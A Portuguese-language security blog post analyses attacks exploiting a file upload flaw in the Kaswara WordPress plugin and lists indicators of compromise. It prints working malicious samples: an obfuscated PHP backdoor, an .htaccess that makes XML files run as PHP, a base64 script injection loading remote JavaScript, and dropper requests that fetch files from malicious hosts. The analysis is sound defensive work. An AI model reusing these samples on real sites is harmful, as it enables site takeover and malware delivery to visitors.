Vulnerável plug-in Kaswara Modern WPBakery Page Builder Addons sendo explorado na natureza
Publicados: 2021-06-08Em 20 de abril de 2021, nossos amigos do WPScan relataram uma vulnerabilidade grave no Kaswara Modern VC Addons, também conhecido como Kaswara Modern WPBakery Page Builder Addons. Ele não está mais disponível no Codecanyon/Envato, o que significa que se você estiver rodando, você deve escolher uma alternativa.
Esta vulnerabilidade permite que usuários não autenticados carreguem arquivos arbitrários para o diretório de ícones do plugin (./wp-content/uploads/kaswara/icons). Este é o primeiro Indicator Of Compromise (IOC) que nossos amigos do WPScan compartilharam conosco em seu relatório.
A capacidade de fazer upload de arquivos arbitrários para um site dá ao agente mal-intencionado controle total sobre o site, o que dificulta a definição da carga útil final dessa infecção; assim, mostraremos tudo o que encontramos até agora (nos empolgamos um pouco com a pesquisa, então sinta-se à vontade para pular para a seção do COI se não quiser ler).
Injeção de banco de dados, aplicativos Android falsos e outros backdoors
Obrigado ao nosso amigo Denis Sinegubko da Sucuri por apontar o acompanhamento de injeção de banco de dados usado com este ataque.
Os maus atores atualizariam a opção 'kaswara-customJS' para adicionar um trecho malicioso arbitrário de código Javascript. Aqui está um exemplo que encontramos:
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
Essa string codificada em base64 se traduz em:
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
E, como geralmente acontece com esse tipo de script, ele carregará em cadeia uma série de outros trechos de código Javascript, e a carga final será um malvertising ou um kit de exploração. Isso é muito semelhante ao que o Wordfence relatou aqui.
Nesse caso, o script está morrendo em hxxp://double-clickd[.]com/ e não está carregando nenhum conteúdo ruim. Encontrei Javascript suspeito chamando este site desde o início de 2020 e as pessoas já o bloqueiam desde 2018.
Aplicativos falsos carregados no site
Os 40 aplicativos Android encontrados nos sites que examinamos eram versões falsas de aplicativos diferentes, como AliPay, PayPal, Correos, DHL e muitos outros, que felizmente estavam sendo detectados pelos fornecedores de antivírus mais populares de acordo com esta análise do VirusTotal.

Não verifiquei as intenções do aplicativo, mas uma rápida revisão sobre as permissões solicitadas pode nos dar um vislumbre do que ele poderia fazer:
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.INTERNET
- android.permission.SEND_SMS
- android.permission.CALL_PHONE
- android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
Esses arquivos não estão sendo carregados imediatamente usando o exploit Kaswara. Depois que o site for comprometido, os invasores carregarão outras ferramentas primeiro para controlar totalmente o site.
Arquivos enviados
Alguns backdoors e outros malwares também foram encontrados em sites comprometidos por essa vulnerabilidade. Vou compartilhar uma análise rápida dos mais populares e interessantes neste post. No entanto, quero primeiro focar no mais complexo.
Redirecionar e aplicativos falsos
Os aplicativos falsos que encontrei em vários sites comprometidos não foram carregados explorando a vulnerabilidade Kaswara. Eles estão sendo carregados no site usando uma ferramenta de hacking multifuncional, que permite que o invasor carregue algum código remoto (fornecendo uma URL ou string) e redirecione o usuário para um site malicioso.
O arquivo pode ser facilmente identificado pela presença desta string: base64_decode('MTIz');error_reporting(0);
função
Curiosamente, ele randomiza todo o resto, menos isso.
O malware está em uma única linha, o que também é um IOC interessante se você estiver procurando por esse tipo de anomalia de código.

Para facilitar a compreensão, decodifiquei a maior parte do código, renomeei as funções interessantes e embelezei o código. O malware inclui 6 funções diferentes, e 5 delas são baseadas nos valores passados na variável $_GET['ts']
. Para este documento, vamos considerar uma das muitas instâncias que encontrei: c.php
.

/c.php?ts=kt
Isso não faz nada e forçará o site a retornar um erro 500 (mais tarde no código).
/c.php?ts=1
Altera o valor do sinalizador $q1a
para true para realizar uma validação de código e enviar uma mensagem OK para o invasor.
Nesse caso, o site remoto responde: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Código”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
Grava um arquivo no servidor com código fornecido pelo conteúdo de $_GET["v"]
contanto que $_GET["p"]
seja a soma de verificação SHA1 de 123 (lembre-se do primeiro IOC de base64_decode('MTIz')
? this é essa soma de verificação).

/c.php?ts=tt
Grava 5 MB de “-” no servidor, provavelmente usado para testar se a função de upload funcionará no servidor.

/c.php?ts=dwm&h=HASH1,HASH2
Quando o malware recebe essa solicitação, ele realiza um teste para verificar se os arquivos carregados foram gravados com sucesso no servidor. Seus hashes MD5 devem ser conhecidos e são enviados para a variável $_GET['h']
como valores separados por vírgula.

/c.php?ts=dw&h=hash&l=URLs_as_CSV
Faz o download de um arquivo de uma série de sites de terceiros e o salva no servidor com o nome dos últimos 12 caracteres do md5 do arquivo baixado.
Esta é a função que está sendo usada para fazer upload de aplicativos falsos para o servidor.
Aqui está um exemplo da solicitação para baixar arquivos maliciosos /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Redirecionando o acesso
Se a opção kt
ou nenhuma opção foi selecionada, o código prossegue para o redirecionamento, que é obtido solicitando um blob JSON com os dados necessários. Em seguida, ele redireciona o visitante usando a função de cabeçalho.

A resposta é assim: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
A função para executar uma requisição cURL com os parâmetros necessários é esta: Nada extravagante…
E pode ser traduzido para esta solicitação cURL:
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
A URL final é, até onde pude testar, aleatória, mas compartilhando a mesma característica de ser uma página falsa para um serviço ou aplicativo popular.

wp-content/uploads/kaswara/icons/16/javas.xml e wp-content/uploads/kaswara/icons/16/.htaccess
Um arquivo XML geralmente não é marcado como uma ameaça potencial, mas neste caso, temos um arquivo .htaccess especialmente criado que altera a forma como o servidor da web o vê:
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
Na verdade, ele diz ao Apache para entender qualquer arquivo javas, homes ou menus com xml, php ou pdf como um arquivo PHP a ser processado e executado de acordo. Portanto, qualquer um desses arquivos presentes na mesma estrutura de diretórios que este .htaccess será suspeito.

O arquivo javas.xml é o mesmo que alguns outros arquivos maliciosos carregados no site. Descobri que a diferença é que alguns têm uma ou duas linhas em branco no final do arquivo, o que torna o hash tradicional um pouco mais complicado.
<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
O código malicioso é ofuscado usando strings codificadas str_rot13 e base64. Ele também usa valores hexadecimais e operações matemáticas para ocultar um pouco mais as strings. A carga útil final é desconhecida, pois criará uma função com base nos valores de uma solicitação POST. No entanto, a carga útil parece ser a mesma todas as vezes, pois depende de uma verificação md5 antes de criá-la (c42ea979ed982c02632430e9e98a66d6 é o hash md5).
Conclusão
Como esta é uma campanha ativa, no momento em que escrevemos este post, encontramos cada vez mais exemplos de malware diferentes sendo descartados nos sites afetados. Alguns são apenas variações do que temos aqui, enquanto outros são interessantes o suficiente para uma análise mais profunda. Procure alguns posts menores em breve para explorar alguns desses outros exemplos.
Isso ilustra a importância de ter suas extensões atualizadas com as correções de segurança mais recentes; se os desenvolvedores não lançarem correções em tempo hábil ou se ele for removido do repositório WordPress.org (ou outros mercados), recomendamos que você encontre uma alternativa mais segura para ele.
Se você estiver preocupado com malware e vulnerabilidade em seu site, confira os recursos de segurança do Jetpack. O Jetpack Security oferece segurança abrangente e fácil de usar para sites WordPress, incluindo backups, verificação de malware e proteção contra spam.
Indicadores de Compromisso
Aqui você encontra a lista completa de todos os IOCs que identificamos:
Hash (SHA-1) | Caminho | Descrição da ameaça |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | Aplicativo Android falso |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | Aplicativo Android falso |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | Aplicativo Android falso |
b354b2193e13956747cf3cf1268caa9ae9601a0 | ./c016456e66cd | Aplicativo Android falso |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | Aplicativo Android falso |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | Aplicativo Android falso |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | Aplicativo Android falso |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | Aplicativo Android falso |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | Aplicativo Android falso |
423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | Aplicativo Android falso |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | Aplicativo Android falso |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | Aplicativo Android falso |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | Aplicativo Android falso |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | Aplicativo Android falso |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | Aplicativo Android falso |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | Aplicativo Android falso |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | Aplicativo Android falso |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | Aplicativo Android falso |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | Aplicativo Android falso |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | Aplicativo Android falso |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | Aplicativo Android falso |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | Aplicativo Android falso |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | Aplicativo Android falso |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | Aplicativo Android falso |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | Aplicativo Android falso |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | Aplicativo Android falso |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | Aplicativo Android falso |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | Aplicativo Android falso |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | Aplicativo Android falso |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | Aplicativo Android falso |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | Aplicativo Android falso |
2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | Aplicativo Android falso |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | Aplicativo Android falso |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | Aplicativo Android falso |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | Aplicativo Android falso |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | Aplicativo Android falso |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | Aplicativo Android falso |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | Aplicativo Android falso |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | Aplicativo Android falso |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | Aplicativo Android falso |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | Malware descartado |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | Malware descartado |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | Carregador de arquivo PHP |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | Malware descartado |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | Malware de execução remota de código |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | Malware descartado |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | Malware descartado |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | Malware descartado |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | Malware descartado |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | Malware descartado |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | Malware descartado |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | Malware descartado |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | Malware descartado |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | Malware de execução remota de código |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | Malware descartado |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php ou ./wp-content/uploads/xeh02b.php | Malware descartado |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | Malware descartado |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | Malware de execução remota de código |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | Malware descartado |
wp-content/uploads/kaswara/icons/16/javas.xml | Malware de execução remota de código | |
– | smurfetta.ru | Domínio malicioso |
http://papass.ru | Domínio malicioso |